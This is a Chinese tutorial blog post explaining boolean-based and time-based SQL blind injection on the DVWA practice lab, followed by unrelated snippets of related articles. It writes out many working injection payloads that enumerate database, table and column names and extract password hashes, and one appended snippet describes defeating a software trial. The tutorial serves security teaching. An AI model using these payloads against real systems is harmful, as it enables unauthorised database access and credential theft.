当前位置: 首页 > news >正文

sql盲注

文章目录

  • 布尔盲注
  • 时间盲注

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。
特点:思路简单,步骤繁琐且麻烦。
核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。

在这里插入图片描述
在这里插入图片描述
1.我们测试一下是否存在sql注入的漏洞。

1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。
1.猜测数据库库名

1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4
在这里插入图片描述
2.猜测库名的第一个字母

1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

在这里插入图片描述
由于步骤过于麻烦,我们用bp直接批量尝试。
在这里插入图片描述
可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa
在这里插入图片描述

3.猜表名
这里测出来有两张表

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。
猜长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名
这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值
二分法,猜测字段

1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:
时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。
攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:
SLEEP()函数
BENCHMARK()函数
WAITFOR DELAY ‘time’

由于上面布尔盲注写了基本思路,这里大概讲一下。
主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。
在这里插入图片描述
1.确定注入点

1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名
先猜库的长度

1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名
先猜几个表

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列
先猜有几列

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

再猜长度

1and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段
具体见布尔盲注,基本上一模一样

相关文章:

sql盲注

文章目录 布尔盲注时间盲注 布尔盲注 介绍&#xff1a;在网页只给你两种回显的时候是用&#xff0c;类似于布尔类型的数据&#xff0c;1表示正确&#xff0c;0表示错误。 特点&#xff1a;思路简单&#xff0c;步骤繁琐且麻烦。 核心函数&#xff1a; length()函数substr()函…...

星网安全产品线成立 引领卫星互联网解决方案创新

2024年6月12日&#xff0c;盛邦安全&#xff08;688651&#xff09;成立星网安全产品线&#xff0c;这是公司宣布全面进入以场景化安全、网络空间地图和卫星互联网安全三大核心能力驱动的战略2.0时代业务落地的重要举措。 卫星互联网技术的快速发展&#xff0c;正将其塑造为全球…...

Adam自适应动量优化算法

Adam&#xff08;Adaptive Moment Estimation&#xff09;是一种结合了动量法和自适应学习率思想的优化算法&#xff0c;特别适用于训练神经网络和深度学习模型。以下是对Adam调整学习率的详细介绍及具体例子。 一、Adam调整学习率介绍 自适应学习率&#xff1a; Adam算法的核…...

Mac OS系统中Beyond Compare 4破解方式

文章出处 https://blog.csdn.net/qq_42418042/article/details/137544113 前言 记录实操过程&#xff0c;以防以后找不到了~ 实际原理是启动时删除文件&#xff0c;实现无限试用 实操过程 下载安装包 官网链接 https://www.scootersoftware.com/download.php 解压、移动到应…...

6000元最好的家用投影仪:当贝X5S Pro六千元配置最高画质最强

数码家电品牌发展迅速&#xff0c;投影同样也是一种更新迭代较快的产品类型&#xff0c;有时候去年还比较火的产品&#xff0c;今年就会被别的产品取代&#xff0c;就比如之前灯泡投影一直被认为是好产品的代表&#xff0c;但是现在国产激光投影的销量反而更高。一般来说6000元…...

#### golang中【堆】的使用及底层 ####

声明&#xff0c;本文部分内容摘自&#xff1a; Go: 深入理解堆实现及应用-腾讯云开发者社区-腾讯云 数组实现堆 | WXue 堆&#xff08;Heap&#xff09;是实现优先队列的数据结构&#xff0c;Go提供了接口和方法来操作堆。 应用 package mainimport ("container/heap&q…...

OpenAI Gym Atari on Windows

题意&#xff1a;在Windows系统上使用OpenAI Gym的Atari环境 问题背景&#xff1a; Im having issues installing OpenAI Gym Atari environment on Windows 10. I have successfully installed and used OpenAI Gym already on the same system. It keeps tripping up when t…...

Java进阶----接口interface

接口 接口概述 接口是一种规范&#xff0c;使用接口就代表着要在程序中制定规范. 制定规范可以给不同类型的事物定义功能&#xff0c;例如&#xff1a; 利用接口&#xff0c;给飞机、小鸟制定飞行规范&#xff0c;让其都具备飞行的功能&#xff1b;利用接口&#xff0c;给鼠…...

【网络协议】ISIS

ISIS IS-IS&#xff08;Intermediate System to Intermediate System&#xff0c;中间系统到中间系统&#xff09;协议是一种用于在自治系统&#xff08;AS&#xff09;内部进行路由选择的链路状态路由协议。它最初是为OSI&#xff08;开放系统互连&#xff09;网络设计的&…...

一.4 处理器读并解释储存在内存中的指令

此刻&#xff0c;hello.c源程序已经被编译系统翻译成了可执行目标文件hello&#xff0c;并被存放在硬盘上。要想在Unix系统上运行该可执行文件&#xff0c;我们将它的文件名输入到称为shell的应用程序中&#xff1a; linux>./hello hello, world linux> shell是一个命令…...

【Android面试八股文】Android性能优化面试题:怎样检测函数执行是否卡顿?

文章目录 卡顿一、可重现的卡顿二、不可重现的卡顿第一种方案: 基于 Looper 的监控方法第二种方案:基于 Choreographer 的监控方法第三种方案:字节码插桩方式第四种方案: 使用 JVMTI 监听函数进入与退出总结相关大厂的方案ArgusAPMBlockCanaryQQ空间卡慢组件Matrix微信广研参…...

C语言7 控制语句

目录 1. 条件语句 if 语句 if-else 语句 if-else if-else 语句 switch 语句 2. 循环语句 for 循环 while 循环 do-while 循环 3. 跳转语句 break 语句 continue 语句 return 语句 goto 语句 1. 条件语句 if 语句 if语句根据给定条件的真或假来决定是否执行某段…...

go mod 依赖管理补充2

依赖包的版本问题&#xff0c;别的开发语言有没有类似的问题&#xff1f;是怎么解决的&#xff1f; 举例&#xff1a;java java的依赖包的版本问题&#xff0c;通过Maven模块来操作&#xff0c;可以指定依赖包版本号&#xff0c;如下&#xff1a; go.mod 文件 go.mod文件是G…...

【Git】取消追踪多个文件或目录

文章目录 场景方法1. 添加到 .gitignore2. 从暂存区移除 示例1. 编辑 .gitignore 文件2. 从暂存区移除文件或目录 场景 清理&#xff1a;不再希望某些文件被 Git 追踪。配置忽略文件&#xff1a;通常配合 .gitignore 文件使用&#xff0c;以便以后这些文件不会被重新添加到索引…...

【Linux详解】进程等待 | 非阻塞轮询

引入&#xff1a; 为什么&#xff1f;是什么&#xff1f;怎么办 是什么&#xff1f; 进程等待是指父进程暂停自己的执行&#xff0c;直到某个特定的子进程结束或发生某些特定的事件。 为什么&#xff1f; 僵尸进程刀枪不入&#xff0c;不可被杀死&#xff0c;存在内存泄露…...

聊一下Maven打包的问题(jar要发布)

文章目录 一、问题和现象二、解决方法&#xff08;1&#xff09;方法一、maven-jar-pluginmaven-dependency-plugin&#xff08;2&#xff09;方法二、maven-assembly-plugin 一、问题和现象 现在的开发一直都是用spring boot&#xff0c;突然有一天&#xff0c;要自己开发一个…...

JavaScript中,正则表达式所涉及的api,解析、实例和总结

JS中正则的api包括以下&#xff1a; String#searchString#splitString#matchString#replaceRegExp#testRegExp#exec 1. String#search 查找输入串中第一个匹配正则的index&#xff0c;如果没有匹配的则返回-1。g修饰符对结果无影响 var string "abbbcbc"; var r…...

【计算机】同步/异步

同步/异步 在计算机科学和编程中&#xff0c;“同步”&#xff08;Synchronization&#xff09;是一种机制&#xff0c;用于协调不同进程或线程之间的操作&#xff0c;以避免竞态条件&#xff08;race conditions&#xff09;、死锁&#xff08;deadlocks&#xff09;和其他并…...

谈大语言模型动态思维流程编排

尽管大语言模型已经呈现出了强大的威力&#xff0c;但是如何让它完美地完成一个大的问题&#xff0c;仍然是一个巨大的挑战。 需要精心地给予大模型许多的提示&#xff08;Prompt&#xff09;。对于一个复杂的应用场景&#xff0c;编写一套完整的&#xff0c;准确无误的提示&am…...

工厂自动化相关设备工业一体机起到什么作用?

在当今的制造业领域&#xff0c;工厂自动化已成为提高生产效率、保证产品质量和降低成本的关键。在这一进程中&#xff0c;工业一体机作为一种重要的设备&#xff0c;发挥着不可或缺的作用。 工业一体机是自动化生产线上的控制中心。它能够整合和处理来自各个传感器、执行器和其…...

Precor必确 GLUTEBUILDER 系列,带来系统化臀部训练解决方案

在健身训练不断细分的当下&#xff0c;臀部训练早已不再是“顺带练一练”的附属项目&#xff0c;而是被置于与胸、背、腿同等重要的核心地位。然而&#xff0c;真正高效的臀腿训练&#xff0c;从来不是简单堆叠负重&#xff0c;而是建立在精准发力与动作模式科学之上的系统工程…...

从手机拍照到专业扫描:5种主流三维重建数据集的‘幕后’采集故事与技术选型

从手机拍照到专业扫描&#xff1a;5种主流三维重建数据集的‘幕后’采集故事与技术选型 在数字孪生和元宇宙技术快速发展的今天&#xff0c;高质量三维重建数据集已成为计算机视觉领域的战略资源。不同于普通用户随手拍摄的二维照片&#xff0c;专业级三维数据集背后隐藏着精密…...

先抛个干货:这个改进版的黑猩猩优化算法SLWChoA,新手照着敲就能跑,而且效果比原版和不少老算法都强

混合改进策略的黑猩猩优化算法SLWChoA&#xff1a;采用Sobel序列初始化种群&#xff0c;增强种群的多样性和随机性&#xff1b;引入凸透镜成像的反向学习策略&#xff0c;提高算法的收敛速度精度和速度&#xff1b;将水波动态自适应因子添加到攻击者位置更新出&#xff0c;增强…...

CosyVoice语音克隆实战:如何用300M轻量级模型实现跨语种音色复制

CosyVoice语音克隆实战&#xff1a;如何用300M轻量级模型实现跨语种音色复制 在数字内容创作领域&#xff0c;语音合成技术正经历着从机械朗读到情感化表达的质变。CosyVoice-300M作为一款轻量级语音克隆模型&#xff0c;以其仅300MB的体量实现了专业级的音色复制与跨语种转换能…...

旧设备优化与系统兼容性提升:OpenCore Legacy Patcher全流程指南

旧设备优化与系统兼容性提升&#xff1a;OpenCore Legacy Patcher全流程指南 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher OpenCore Legacy Patcher是一款专…...

OpenAPI状态机建模指南:用有限状态机设计RESTful API的终极方法 [特殊字符]

OpenAPI状态机建模指南&#xff1a;用有限状态机设计RESTful API的终极方法 &#x1f680; 【免费下载链接】OpenAPI-Specification The OpenAPI Specification Repository 项目地址: https://gitcode.com/gh_mirrors/op/OpenAPI-Specification OpenAPI Specification 是…...

Dankoe新作《使命与收益》读书笔记 7|你不是迷茫,你只是不敢面对真正的自己

"我不知道自己想要什么。" 这大概是30岁前后最常说的一句话。辞职不敢&#xff0c;创业不会&#xff0c;留下来又不甘心。于是我们把迷茫当成一种身份&#xff0c;穿在身上&#xff0c;仿佛承认迷茫就不必为停滞负责。 但Dan Koe在《使命与收益》里说了一句扎心的话…...

音频处理避坑指南:二进制编码转换中的常见问题与解决方案

音频处理避坑指南&#xff1a;二进制编码转换中的常见问题与解决方案 音频处理在现代多媒体应用中扮演着重要角色&#xff0c;从语音识别到音乐制作&#xff0c;从流媒体传输到嵌入式设备音频播放&#xff0c;二进制编码转换都是核心技术环节。对于有一定经验的开发者而言&…...

释放创意:Mi-Create让智能表盘设计触手可及

释放创意&#xff1a;Mi-Create让智能表盘设计触手可及 【免费下载链接】Mi-Create Unofficial watchface creator for Xiaomi wearables ~2021 and above 项目地址: https://gitcode.com/gh_mirrors/mi/Mi-Create 问题发现&#xff1a;智能表盘设计的三重困境 在智能穿…...

Youtu-VL-4B-Instruct-GGUF模型安全考量:在网络安全领域的潜在应用与风险

Youtu-VL-4B-Instruct-GGUF模型安全考量&#xff1a;在网络安全领域的潜在应用与风险 最近和几个做安全的朋友聊天&#xff0c;他们都在头疼一个问题&#xff1a;现在的网络攻击越来越“花里胡哨”了。以前可能就是一段恶意代码&#xff0c;现在呢&#xff1f;一张精心设计的钓…...